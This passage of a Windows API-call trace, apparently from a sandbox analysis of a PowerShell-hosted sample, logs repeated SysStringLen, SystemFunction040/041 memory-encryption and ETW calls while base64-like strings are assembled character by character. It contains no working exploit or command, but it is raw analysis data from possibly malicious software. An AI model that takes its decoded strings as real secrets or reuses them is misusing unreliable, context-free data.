returned 0x20 [0136.491] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0136.491] SysStringLen (param_1="f031afr4TADbu3KiyR1rhhoyL1鳐ﳐ쒀䩉⹟") returned 0x20 [0136.491] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0136.491] SysStringLen (param_1="\x423f\x57b\x319d\x8676\x4ed8\x621\x253a\x2864\x14a4\xd629\x304e\x1dd6\x2e51\x3cc4\xf289\x65e\xa28d\x2e8d\xef98\xfdd6\x22c2\xd015\xfb2\x1e8c\x6a9f\xa11\xef47\xb42b\xd059\x2f73\xa744\xc39e") returned 0x20 [0136.491] SysStringLen (param_1="\x423f\x57b\x319d\x8676\x4ed8\x621\x253a\x2864\x14a4\xd629\x304e\x1dd6\x2e51\x3cc4\xf289\x65e\xa28d\x2e8d\xef98\xfdd6\x22c2\xd015\xfb2\x1e8c\x6a9f\xa11\xef47\xb42b\xd059\x2f73\xa744\xc39e") returned 0x20 [0136.491] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0136.491] SysStringLen (param_1="f031afr4TADbu3KiyR1rhhoyL1Tﳐ쒀䩉⹟") returned 0x20 [0136.491] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0136.492] SysStringLen (param_1="\x423f\x57b\x319d\x8676\x4ed8\x621\x253a\x2864\x14a4\xd629\x304e\x1dd6\x2e51\x3cc4\xf289\x65e\xa28d\x2e8d\xef98\xfdd6\x22c2\xd015\xfb2\x1e8c\xdff4\x7693\x6a1a\xde3c\x46e5\x4b9\x5b2a\x2825") returned 0x20 [0136.492] SysStringLen (param_1="\x423f\x57b\x319d\x8676\x4ed8\x621\x253a\x2864\x14a4\xd629\x304e\x1dd6\x2e51\x3cc4\xf289\x65e\xa28d\x2e8d\xef98\xfdd6\x22c2\xd015\xfb2\x1e8c\xdff4\x7693\x6a1a\xde3c\x46e5\x4b9\x5b2a\x2825") returned 0x20 [0136.492] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0136.492] SysStringLen (param_1="f031afr4TADbu3KiyR1rhhoyL1TG쒀䩉⹟") returned 0x20 [0136.492] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0136.492] SysStringLen (param_1="\x423f\x57b\x319d\x8676\x4ed8\x621\x253a\x2864\x14a4\xd629\x304e\x1dd6\x2e51\x3cc4\xf289\x65e\xa28d\x2e8d\xef98\xfdd6\x22c2\xd015\xfb2\x1e8c\xab88\x8db6\x566a\xe33b\x999d\x39ad\x1ec8\xdffc") returned 0x20 [0136.492] SysStringLen (param_1="\x423f\x57b\x319d\x8676\x4ed8\x621\x253a\x2864\x14a4\xd629\x304e\x1dd6\x2e51\x3cc4\xf289\x65e\xa28d\x2e8d\xef98\xfdd6\x22c2\xd015\xfb2\x1e8c\xab88\x8db6\x566a\xe33b\x999d\x39ad\x1ec8\xdffc") returned 0x20 [0136.492] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0136.492] SysStringLen (param_1="f031afr4TADbu3KiyR1rhhoyL1TGZ쒀䩉⹟") returned 0x20 [0136.492] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0136.492] SysStringLen (param_1="\x423f\x57b\x319d\x8676\x4ed8\x621\x253a\x2864\x14a4\xd629\x304e\x1dd6\x2e51\x3cc4\xf289\x65e\xa28d\x2e8d\xef98\xfdd6\x22c2\xd015\xfb2\x1e8c\x42ed\xacea\xa735\xbdd7\xa96e\x33\x933\x90fc") returned 0x20 [0136.492] SysStringLen (param_1="\x423f\x57b\x319d\x8676\x4ed8\x621\x253a\x2864\x14a4\xd629\x304e\x1dd6\x2e51\x3cc4\xf289\x65e\xa28d\x2e8d\xef98\xfdd6\x22c2\xd015\xfb2\x1e8c\x42ed\xacea\xa735\xbdd7\xa96e\x33\x933\x90fc") returned 0x20 [0136.492] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0136.492] SysStringLen (param_1="f031afr4TADbu3KiyR1rhhoyL1TGZ1䩉⹟") returned 0x20 [0136.492] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0136.492] SysStringLen (param_1="\x423f\x57b\x319d\x8676\x4ed8\x621\x253a\x2864\x14a4\xd629\x304e\x1dd6\x2e51\x3cc4\xf289\x65e\xa28d\x2e8d\xef98\xfdd6\x22c2\xd015\xfb2\x1e8c\xa42b\xc04f\x731b\xe321\xa865\xffb5\xe69a\xddc1") returned 0x20 [0136.492] SysStringLen (param_1="\x423f\x57b\x319d\x8676\x4ed8\x621\x253a\x2864\x14a4\xd629\x304e\x1dd6\x2e51\x3cc4\xf289\x65e\xa28d\x2e8d\xef98\xfdd6\x22c2\xd015\xfb2\x1e8c\xa42b\xc04f\x731b\xe321\xa865\xffb5\xe69a\xddc1") returned 0x20 [0136.493] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0136.493] SysStringLen (param_1="f031afr4TADbu3KiyR1rhhoyL1TGZ1U⹟") returned 0x20 [0136.493] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0136.493] SysStringLen (param_1="\x423f\x57b\x319d\x8676\x4ed8\x621\x253a\x2864\x14a4\xd629\x304e\x1dd6\x2e51\x3cc4\xf289\x65e\xa28d\x2e8d\xef98\xfdd6\x22c2\xd015\xfb2\x1e8c\x7575\x460\x70d\xad9\x19c3\x541c\x1a50\xcd6a") returned 0x20 [0136.493] SysStringLen (param_1="\x423f\x57b\x319d\x8676\x4ed8\x621\x253a\x2864\x14a4\xd629\x304e\x1dd6\x2e51\x3cc4\xf289\x65e\xa28d\x2e8d\xef98\xfdd6\x22c2\xd015\xfb2\x1e8c\x7575\x460\x70d\xad9\x19c3\x541c\x1a50\xcd6a") returned 0x20 [0136.493] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0136.493] SysStringLen (param_1="f031afr4TADbu3KiyR1rhhoyL1TGZ1UB") returned 0x20 [0136.493] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0136.493] SysStringLen (param_1="\x423f\x57b\x319d\x8676\x4ed8\x621\x253a\x2864\x14a4\xd629\x304e\x1dd6\x2e51\x3cc4\xf289\x65e\xa28d\x2e8d\xef98\xfdd6\x22c2\xd015\xfb2\x1e8c\x73a8\x66e5\x10c7\xd07f\x3e90\x2c05\x4a89\xdaea") returned 0x20 [0136.493] SysStringLen (param_1="\x423f\x57b\x319d\x8676\x4ed8\x621\x253a\x2864\x14a4\xd629\x304e\x1dd6\x2e51\x3cc4\xf289\x65e\xa28d\x2e8d\xef98\xfdd6\x22c2\xd015\xfb2\x1e8c\x73a8\x66e5\x10c7\xd07f\x3e90\x2c05\x4a89\xdaea") returned 0x20 [0136.493] SysStringLen (param_1="\x423f\x57b\x319d\x8676\x4ed8\x621\x253a\x2864\x14a4\xd629\x304e\x1dd6\x2e51\x3cc4\xf289\x65e\xa28d\x2e8d\xef98\xfdd6\x22c2\xd015\xfb2\x1e8c\x73a8\x66e5\x10c7\xd07f\x3e90\x2c05\x4a89\xdaea") returned 0x20 [0136.493] SysStringLen (param_1="\x423f\x57b\x319d\x8676\x4ed8\x621\x253a\x2864\x14a4\xd629\x304e\x1dd6\x2e51\x3cc4\xf289\x65e\xa28d\x2e8d\xef98\xfdd6\x22c2\xd015\xfb2\x1e8c\x73a8\x66e5\x10c7\xd07f\x3e90\x2c05\x4a89\xdaea") returned 0x28 [0136.493] SystemFunction041 (in: Memory=0x8ebfb5c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfb5c) returned 0x0 [0136.493] SysStringLen (param_1="f031afr4TADbu3KiyR1rhhoyL1TGZ1UBx曏掏텹祖㢐ི") returned 0x28 [0136.493] SystemFunction040 (in: Memory=0x8ebfb5c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfb5c) returned 0x0 [0136.494] SysStringLen (param_1="\x423f\x57b\x319d\x8676\x4ed8\x621\x253a\x2864\x14a4\xd629\x304e\x1dd6\x2e51\x3cc4\xf289\x65e\xa28d\x2e8d\xef98\xfdd6\x22c2\xd015\xfb2\x1e8c\x73a8\x66e5\x10c7\xd07f\x3e90\x2c05\x4a89\xdaea\xb917\x14a1\x2810\x6d3f\xb720\x6ca0\x1682\x738f") returned 0x28 [0136.494] SysStringLen (param_1="\x423f\x57b\x319d\x8676\x4ed8\x621\x253a\x2864\x14a4\xd629\x304e\x1dd6\x2e51\x3cc4\xf289\x65e\xa28d\x2e8d\xef98\xfdd6\x22c2\xd015\xfb2\x1e8c\x73a8\x66e5\x10c7\xd07f\x3e90\x2c05\x4a89\xdaea\xb917\x14a1\x2810\x6d3f\xb720\x6ca0\x1682\x738f") returned 0x28 [0136.494] SystemFunction041 (in: Memory=0x8ebfb5c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfb5c) returned 0x0 [0136.494] SysStringLen (param_1="f031afr4TADbu3KiyR1rhhoyL1TGZ1UBx5掏텹祖㢐ི") returned 0x28 [0136.494] SystemFunction040 (in: Memory=0x8ebfb5c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfb5c) returned 0x0 [0136.494] SysStringLen (param_1="\x423f\x57b\x319d\x8676\x4ed8\x621\x253a\x2864\x14a4\xd629\x304e\x1dd6\x2e51\x3cc4\xf289\x65e\xa28d\x2e8d\xef98\xfdd6\x22c2\xd015\xfb2\x1e8c\x73a8\x66e5\x10c7\xd07f\x3e90\x2c05\x4a89\xdaea\x79c7\x864b\xbc59\x3eb9\xfaea\x4f7b\x9a46\x36e8") returned 0x28 [0136.494] SysStringLen (param_1="\x423f\x57b\x319d\x8676\x4ed8\x621\x253a\x2864\x14a4\xd629\x304e\x1dd6\x2e51\x3cc4\xf289\x65e\xa28d\x2e8d\xef98\xfdd6\x22c2\xd015\xfb2\x1e8c\x73a8\x66e5\x10c7\xd07f\x3e90\x2c05\x4a89\xdaea\x79c7\x864b\xbc59\x3eb9\xfaea\x4f7b\x9a46\x36e8") returned 0x28 [0136.494] SystemFunction041 (in: Memory=0x8ebfb5c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfb5c) returned 0x0 [0136.494] SysStringLen (param_1="f031afr4TADbu3KiyR1rhhoyL1TGZ1UBx5/텹祖㢐ི") returned 0x28 [0136.494] SystemFunction040 (in: Memory=0x8ebfb5c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfb5c) returned 0x0 [0136.494] SysStringLen (param_1="\x423f\x57b\x319d\x8676\x4ed8\x621\x253a\x2864\x14a4\xd629\x304e\x1dd6\x2e51\x3cc4\xf289\x65e\xa28d\x2e8d\xef98\xfdd6\x22c2\xd015\xfb2\x1e8c\x73a8\x66e5\x10c7\xd07f\x3e90\x2c05\x4a89\xdaea\x33\x87ff\xa32\x7199\xaf75\x6380\xb3ca\xcabb") returned 0x28 [0136.494] SysStringLen (param_1="\x423f\x57b\x319d\x8676\x4ed8\x621\x253a\x2864\x14a4\xd629\x304e\x1dd6\x2e51\x3cc4\xf289\x65e\xa28d\x2e8d\xef98\xfdd6\x22c2\xd015\xfb2\x1e8c\x73a8\x66e5\x10c7\xd07f\x3e90\x2c05\x4a89\xdaea\x33\x87ff\xa32\x7199\xaf75\x6380\xb3ca\xcabb") returned 0x28 [0136.494] SystemFunction041 (in: Memory=0x8ebfb5c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfb5c) returned 0x0 [0136.494] SysStringLen (param_1="f031afr4TADbu3KiyR1rhhoyL1TGZ1UBx5/e祖㢐ི") returned 0x28 [0136.494] SystemFunction040 (in: Memory=0x8ebfb5c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfb5c) returned 0x0 [0136.494] SysStringLen (param_1="\x423f\x57b\x319d\x8676\x4ed8\x621\x253a\x2864\x14a4\xd629\x304e\x1dd6\x2e51\x3cc4\xf289\x65e\xa28d\x2e8d\xef98\xfdd6\x22c2\xd015\xfb2\x1e8c\x73a8\x66e5\x10c7\xd07f\x3e90\x2c05\x4a89\xdaea\x2618\x48ea\x5764\xacd2\xe543\xac30\xbd36\xc295") returned 0x28 [0136.494] SysStringLen (param_1="\x423f\x57b\x319d\x8676\x4ed8\x621\x253a\x2864\x14a4\xd629\x304e\x1dd6\x2e51\x3cc4\xf289\x65e\xa28d\x2e8d\xef98\xfdd6\x22c2\xd015\xfb2\x1e8c\x73a8\x66e5\x10c7\xd07f\x3e90\x2c05\x4a89\xdaea\x2618\x48ea\x5764\xacd2\xe543\xac30\xbd36\xc295") returned 0x28 [0136.495] SystemFunction041 (in: Memory=0x8ebfb5c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfb5c) returned 0x0 [0136.495] SysStringLen (param_1="f031afr4TADbu3KiyR1rhhoyL1TGZ1UBx5/eC㢐ི") returned 0x28 [0136.495] SystemFunction040 (in: Memory=0x8ebfb5c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfb5c) returned 0x0 [0136.495] SysStringLen (param_1="\x423f\x57b\x319d\x8676\x4ed8\x621\x253a\x2864\x14a4\xd629\x304e\x1dd6\x2e51\x3cc4\xf289\x65e\xa28d\x2e8d\xef98\xfdd6\x22c2\xd015\xfb2\x1e8c\x73a8\x66e5\x10c7\xd07f\x3e90\x2c05\x4a89\xdaea\x710a\xe20e\xb54e\x98d3\xa000\x872b\x7e3\xeabc") returned 0x28 [0136.495] SysStringLen (param_1="\x423f\x57b\x319d\x8676\x4ed8\x621\x253a\x2864\x14a4\xd629\x304e\x1dd6\x2e51\x3cc4\xf289\x65e\xa28d\x2e8d\xef98\xfdd6\x22c2\xd015\xfb2\x1e8c\x73a8\x66e5\x10c7\xd07f\x3e90\x2c05\x4a89\xdaea\x710a\xe20e\xb54e\x98d3\xa000\x872b\x7e3\xeabc") returned 0x28 [0136.495] SystemFunction041 (in: Memory=0x8ebfb5c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfb5c) returned 0x0 [0136.495] SysStringLen (param_1="f031afr4TADbu3KiyR1rhhoyL1TGZ1UBx5/eC2ི") returned 0x28 [0136.495] SystemFunction040 (in: Memory=0x8ebfb5c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfb5c) returned 0x0 [0136.495] SysStringLen (param_1="\x423f\x57b\x319d\x8676\x4ed8\x621\x253a\x2864\x14a4\xd629\x304e\x1dd6\x2e51\x3cc4\xf289\x65e\xa28d\x2e8d\xef98\xfdd6\x22c2\xd015\xfb2\x1e8c\x73a8\x66e5\x10c7\xd07f\x3e90\x2c05\x4a89\xdaea\xeed\x65c2\x8369\x9f8e\xf38c\x81c4\x5176\x86") returned 0x28 [0136.495] SysStringLen (param_1="\x423f\x57b\x319d\x8676\x4ed8\x621\x253a\x2864\x14a4\xd629\x304e\x1dd6\x2e51\x3cc4\xf289\x65e\xa28d\x2e8d\xef98\xfdd6\x22c2\xd015\xfb2\x1e8c\x73a8\x66e5\x10c7\xd07f\x3e90\x2c05\x4a89\xdaea\xeed\x65c2\x8369\x9f8e\xf38c\x81c4\x5176\x86") returned 0x28 [0136.495] SystemFunction041 (in: Memory=0x8ebfb5c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfb5c) returned 0x0 [0136.495] SysStringLen (param_1="f031afr4TADbu3KiyR1rhhoyL1TGZ1UBx5/eC2d") returned 0x28 [0136.495] SystemFunction040 (in: Memory=0x8ebfb5c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfb5c) returned 0x0 [0136.495] SysStringLen (param_1="\x423f\x57b\x319d\x8676\x4ed8\x621\x253a\x2864\x14a4\xd629\x304e\x1dd6\x2e51\x3cc4\xf289\x65e\xa28d\x2e8d\xef98\xfdd6\x22c2\xd015\xfb2\x1e8c\x73a8\x66e5\x10c7\xd07f\x3e90\x2c05\x4a89\xdaea\x1cd5\xf3e2\xb469\x7c29\x8f43\x773a\x4cb8\x3feb") returned 0x28 [0136.495] SysStringLen (param_1="\x423f\x57b\x319d\x8676\x4ed8\x621\x253a\x2864\x14a4\xd629\x304e\x1dd6\x2e51\x3cc4\xf289\x65e\xa28d\x2e8d\xef98\xfdd6\x22c2\xd015\xfb2\x1e8c\x73a8\x66e5\x10c7\xd07f\x3e90\x2c05\x4a89\xdaea\x1cd5\xf3e2\xb469\x7c29\x8f43\x773a\x4cb8\x3feb") returned 0x28 [0136.495] SystemFunction041 (in: Memory=0x8ebfb5c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfb5c) returned 0x0 [0136.496] SysStringLen (param_1="f031afr4TADbu3KiyR1rhhoyL1TGZ1UBx5/eC2db") returned 0x28 [0136.496] SystemFunction040 (in: Memory=0x8ebfb5c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfb5c) returned 0x0 [0136.496] SysStringLen (param_1="\x423f\x57b\x319d\x8676\x4ed8\x621\x253a\x2864\x14a4\xd629\x304e\x1dd6\x2e51\x3cc4\xf289\x65e\xa28d\x2e8d\xef98\xfdd6\x22c2\xd015\xfb2\x1e8c\x73a8\x66e5\x10c7\xd07f\x3e90\x2c05\x4a89\xdaea\xc9e3\x336a\x655f\x24cd\x4f92\x267c\x8a51\x9ff9") returned 0x28 [0136.497] SysStringLen (param_1="\x423f\x57b\x319d\x8676\x4ed8\x621\x253a\x2864\x14a4\xd629\x304e\x1dd6\x2e51\x3cc4\xf289\x65e\xa28d\x2e8d\xef98\xfdd6\x22c2\xd015\xfb2\x1e8c\x73a8\x66e5\x10c7\xd07f\x3e90\x2c05\x4a89\xdaea\xc9e3\x336a\x655f\x24cd\x4f92\x267c\x8a51\x9ff9") returned 0x28 [0136.497] SysStringLen (param_1="\x423f\x57b\x319d\x8676\x4ed8\x621\x253a\x2864\x14a4\xd629\x304e\x1dd6\x2e51\x3cc4\xf289\x65e\xa28d\x2e8d\xef98\xfdd6\x22c2\xd015\xfb2\x1e8c\x73a8\x66e5\x10c7\xd07f\x3e90\x2c05\x4a89\xdaea\xc9e3\x336a\x655f\x24cd\x4f92\x267c\x8a51\x9ff9") returned 0x28 [0136.497] SysStringLen (param_1="\x423f\x57b\x319d\x8676\x4ed8\x621\x253a\x2864\x14a4\xd629\x304e\x1dd6\x2e51\x3cc4\xf289\x65e\xa28d\x2e8d\xef98\xfdd6\x22c2\xd015\xfb2\x1e8c\x73a8\x66e5\x10c7\xd07f\x3e90\x2c05\x4a89\xdaea\xc9e3\x336a\x655f\x24cd\x4f92\x267c\x8a51\x9ff9\x53\x77\x4a\x41\x46\x4a\x6a\x61") returned 0x30 [0136.497] SystemFunction041 (in: Memory=0x8e30f44, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30f44) returned 0x0 [0136.497] SysStringLen (param_1="f031afr4TADbu3KiyR1rhhoyL1TGZ1UBx5/eC2db2犏婃⚭ꦸ੒괂෯") returned 0x30 [0136.497] SystemFunction040 (in: Memory=0x8e30f44, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30f44) returned 0x0 [0136.497] SysStringLen (param_1="\x423f\x57b\x319d\x8676\x4ed8\x621\x253a\x2864\x14a4\xd629\x304e\x1dd6\x2e51\x3cc4\xf289\x65e\xa28d\x2e8d\xef98\xfdd6\x22c2\xd015\xfb2\x1e8c\x73a8\x66e5\x10c7\xd07f\x3e90\x2c05\x4a89\xdaea\xc9e3\x336a\x655f\x24cd\x4f92\x267c\x8a51\x9ff9\xf890\x92d\xf118\xea53\x47cf\xeb89\xc1e4\x950b") returned 0x30 [0136.497] SysStringLen (param_1="\x423f\x57b\x319d\x8676\x4ed8\x621\x253a\x2864\x14a4\xd629\x304e\x1dd6\x2e51\x3cc4\xf289\x65e\xa28d\x2e8d\xef98\xfdd6\x22c2\xd015\xfb2\x1e8c\x73a8\x66e5\x10c7\xd07f\x3e90\x2c05\x4a89\xdaea\xc9e3\x336a\x655f\x24cd\x4f92\x267c\x8a51\x9ff9\xf890\x92d\xf118\xea53\x47cf\xeb89\xc1e4\x950b") returned 0x30 [0136.497] SystemFunction041 (in: Memory=0x8e30f44, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30f44) returned 0x0 [0136.497] SysStringLen (param_1="f031afr4TADbu3KiyR1rhhoyL1TGZ1UBx5/eC2db2H婃⚭ꦸ੒괂෯") returned 0x30 [0136.497] SystemFunction040 (in: Memory=0x8e30f44, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30f44) returned 0x0 [0136.498] SysStringLen (param_1="\x423f\x57b\x319d\x8676\x4ed8\x621\x253a\x2864\x14a4\xd629\x304e\x1dd6\x2e51\x3cc4\xf289\x65e\xa28d\x2e8d\xef98\xfdd6\x22c2\xd015\xfb2\x1e8c\x73a8\x66e5\x10c7\xd07f\x3e90\x2c05\x4a89\xdaea\xc9e3\x336a\x655f\x24cd\x4f92\x267c\x8a51\x9ff9\xbe6e\x1b22\xe4e5\x6248\x9e92\xedbd\x7591\x5a14") returned 0x30 [0136.498] SysStringLen (param_1="\x423f\x57b\x319d\x8676\x4ed8\x621\x253a\x2864\x14a4\xd629\x304e\x1dd6\x2e51\x3cc4\xf289\x65e\xa28d\x2e8d\xef98\xfdd6\x22c2\xd015\xfb2\x1e8c\x73a8\x66e5\x10c7\xd07f\x3e90\x2c05\x4a89\xdaea\xc9e3\x336a\x655f\x24cd\x4f92\x267c\x8a51\x9ff9\xbe6e\x1b22\xe4e5\x6248\x9e92\xedbd\x7591\x5a14") returned 0x30 [0136.498] SystemFunction041 (in: Memory=0x8e30f44, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30f44) returned 0x0 [0136.498] SysStringLen (param_1="f031afr4TADbu3KiyR1rhhoyL1TGZ1UBx5/eC2db2HY⚭ꦸ੒괂෯") returned 0x30 [0136.498] SystemFunction040 (in: Memory=0x8e30f44, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30f44) returned 0x0 [0136.498] SysStringLen (param_1="\x423f\x57b\x319d\x8676\x4ed8\x621\x253a\x2864\x14a4\xd629\x304e\x1dd6\x2e51\x3cc4\xf289\x65e\xa28d\x2e8d\xef98\xfdd6\x22c2\xd015\xfb2\x1e8c\x73a8\x66e5\x10c7\xd07f\x3e90\x2c05\x4a89\xdaea\xc9e3\x336a\x655f\x24cd\x4f92\x267c\x8a51\x9ff9\x6069\xb45c\xd4b6\x44c8\xd457\x8930\xa8b1\xf15c") returned 0x30 [0136.498] SysStringLen (param_1="\x423f\x57b\x319d\x8676\x4ed8\x621\x253a\x2864\x14a4\xd629\x304e\x1dd6\x2e51\x3cc4\xf289\x65e\xa28d\x2e8d\xef98\xfdd6\x22c2\xd015\xfb2\x1e8c\x73a8\x66e5\x10c7\xd07f\x3e90\x2c05\x4a89\xdaea\xc9e3\x336a\x655f\x24cd\x4f92\x267c\x8a51\x9ff9\x6069\xb45c\xd4b6\x44c8\xd457\x8930\xa8b1\xf15c") returned 0x30 [0136.498] SystemFunction041 (in: Memory=0x8e30f44, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30f44) returned 0x0 [0136.498] SysStringLen (param_1="f031afr4TADbu3KiyR1rhhoyL1TGZ1UBx5/eC2db2HY=ꦸ੒괂෯") returned 0x30 [0136.498] SystemFunction040 (in: Memory=0x8e30f44, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30f44) returned 0x0 [0136.498] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x67, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.499] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aeacc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeacc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x67, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.499] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x66, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x66, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.500] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae604, nSize=0x100 | out: lpBuffer="\x9fcb\x72b0\xadb8\x667\x1082\x73b6\xbab0\x42f\x108e\x73b6\xe63c\x99a\xc37\x72b2\xadb8\x667\x0b") returned 0x0 [0136.500] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae9dc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae9dc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x68, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.500] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae93c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae93c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x66, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.500] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae9cc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x68, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae9cc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x68, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.500] SysStringLen (param_1="") returned 0x8 [0136.500] SysStringLen (param_1="Y") returned 0x8 [0136.500] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0136.500] SysStringLen (param_1="\x917a\xa91d\x5d2b\x8d5\x1c0c\x2d38\x92fc\x76bf") returned 0x8 [0136.500] SysStringLen (param_1="\x917a\xa91d\x5d2b\x8d5\x1c0c\x2d38\x92fc\x76bf") returned 0x8 [0136.500] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0136.501] SysStringLen (param_1="YW") returned 0x8 [0136.501] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0136.501] SysStringLen (param_1="ุ祥獟宒撯⊟車") returned 0x8 [0136.501] SysStringLen (param_1="ุ祥獟宒撯⊟車") returned 0x8 [0136.501] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0136.501] SysStringLen (param_1="YWM") returned 0x8 [0136.501] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0136.501] SysStringLen (param_1="\x9df0\x3643\x8738\x2a31\x9d61\xe42a\xc65f\x3c4") returned 0x8 [0136.501] SysStringLen (param_1="\x9df0\x3643\x8738\x2a31\x9d61\xe42a\xc65f\x3c4") returned 0x8 [0136.501] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0136.501] SysStringLen (param_1="YWM1") returned 0x8 [0136.501] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0136.502] SysStringLen 